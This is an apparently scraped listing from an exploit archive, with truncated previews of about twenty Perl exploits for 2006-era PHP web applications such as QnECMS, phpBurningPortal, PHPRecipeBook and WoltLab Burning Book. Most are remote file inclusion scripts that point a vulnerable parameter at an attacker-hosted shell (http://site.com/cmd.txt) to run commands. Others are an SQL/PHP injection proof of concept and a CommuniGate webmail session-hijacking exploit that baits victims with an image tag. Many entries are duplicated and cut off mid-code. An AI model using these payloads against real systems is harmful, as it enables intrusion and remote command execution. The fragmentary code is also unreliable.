kb-rfi.txt

!/usr/bin/perl knowledgeBuilder v.2.2.php.NuLL-WDYL= Remote File Include Vulnerability Script.............. :knowledgebuilder php.NuLL WDYL Discovered By.... : IGI Expl0iter ........ : Root3rH3LL Location .......... : Iran Class.............. : Remote Original Advisory :http://www.Virangar.org &...

QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications =============================================================== QnECMS perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff...

QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion

!/usr/bin/perl QnECMS perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff y3dips,theday,moby,comex,z3r0byt3,c-a-s-e,Sto,lirva32,negative, SinChan, sakitjiwa, maSter-oP, mrny3m, bithedz, lieur-euy,...

QnECMS 2.5.6 - adminfolderpath Remote File Inclusion

QnECMS 2.5.6 - adminfolderpath Remote File Inclusion !/usr/bin/perl QnECMS perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff y3dips,theday,moby,comex,z3r0byt3,c-a-s-e,Sto,lirva32,negative,...

CMS Faethon 2.0 - mainpath Remote File Inclusion

CMS Faethon 2.0 - mainpath Remote File Inclusion !/usr/bin/perl CMS Faethon 2.0 Ultimate Class: Remote/Local File Include Vulnerability Date: 2006/10/24 Remote: Yes Type: Highly critical Vendor: www.cmsfaethon.org Downlo...

CommuniGate Pro Webmail 4.0.6 Session Hijacking Exploit

No description provided by source. !/usr/bin/perl Below is exploit code. Place it into cgi-bin, then recommended make symlink from DocumentRoot/AnyImage.gif to shj.pl, configure at least $url variable, and possible other vars and send victim HTML message with img src to your AnyImage.gif. When...

CMS Faethon 2.0 - 'mainpath' Remote File Inclusion

!/usr/bin/perl CMS Faethon 2.0 Ultimate Class: Remote/Local File Include Vulnerability Date: 2006/10/24 Remote: Yes Type: Highly critical Vendor: www.cmsfaethon.org Download: http://cmsfaethon.org/downloads/...

PHPRecipeBook &lt;= 2.35 (g_rb_basedir) Remote File Include Exploit

No description provided by source. !/usr/bin/perl PHPRecipeBook 2.36 Class: Remote File Include Vulnerability Date: 2006/10/16 Remote: Yes Type: Highly critical Vendor: http://phprecipebook.sourceforge.net/...

PHPRecipeBook 2.35 - 'g_rb_basedir' Remote File Inclusion

!/usr/bin/perl PHPRecipeBook 2.36 Class: Remote File Include Vulnerability Date: 2006/10/16 Remote: Yes Type: Highly critical Vendor: http://phprecipebook.sourceforge.net/ Download: http://sourceforge.net/project/showfiles.p...

WoltLab Burning Book &lt;= 1.1.2 Remote SQL Injection Exploit PoC

No description provided by source. !/usr/bin/perl woltlab.de burning book =1.1.2 SQL and PHP injection PoC use /index.php?q=phpinfo;exit; ShAnKaR secAshankar.antichat.ru http://antichat.ru/ use LWP; die"use ./burn-book.pl http://localhost/wbbook/ 1number book db, default 1\n" if !$ARGV0;$ARGV1=''...

WoltLab Burning Book 1.1.2 - SQL Injection

!/usr/bin/perl woltlab.de burning book new; $ua-post$ARGV0.'/addentry.php',regimage=0,send='send',name=1,message=1, n=$ARGV1.'templates templateid,templatename,template VALUES...

phpBurningPortal 1.0.1 - lang_path Remote File Inclusion

phpBurningPortal 1.0.1 - langpath Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; use LWP::Simple; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = "questdelete.php?langpath="; elsif $fileno eq 2...

phpBurningPortal <= 1.0.1 (lang_path) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================= phpBurningPortal ; while $cmd ! "exit" $xpl = LWP::UserAgent-new or die; $req = HTTP::Request-newGET=$target'/modules/includes/'.$file.$shellsite.'?&'.$shellcmd.'='.$cmd or...

phpBurningPortal 1.0.1 - 'lang_path' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; use LWP::Simple; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = "questdelete.php?langpath="; elsif $fileno eq 2 $file = "questedit.php?langpath="; elsif $fileno eq 3...

phpBurningPortal &lt;= 1.0.1 (lang_path) Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use LWP::Simple; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = "questdelete.php?langpath="; elsif $fileno eq 2 $file =...

Redaction System 1.0 (lang_prefix) Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = " conn.php?langprefix="; elsif $fileno eq 2 $file = "index.php?lang="; elsif $fileno ...

Redaction System 1.0 - lang_prefix Remote File Inclusion

Redaction System 1.0 - langprefix Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = " conn.php?langprefix="; elsif $fileno eq 2 $file =...

docmint 2.0 - '/engine/require.php' Remote File Inclusion

!/usr/bin/perl docmint perl docmint.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff y3dips,theday,moby,comex,z3r0byt3,c-a-s-e,Sto,lirva32,negative, SinChan, sakitjiwa, maSter-oP, mrny3m, bithedz, lieur-eu...

ciamosCMS096b-rfi.txt

!/usr/bin/perl use LWP::UserAgent; ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ ++...

docmint <= 2.0 (engine/require.php) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ================================================================= docmint perl docmint.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff...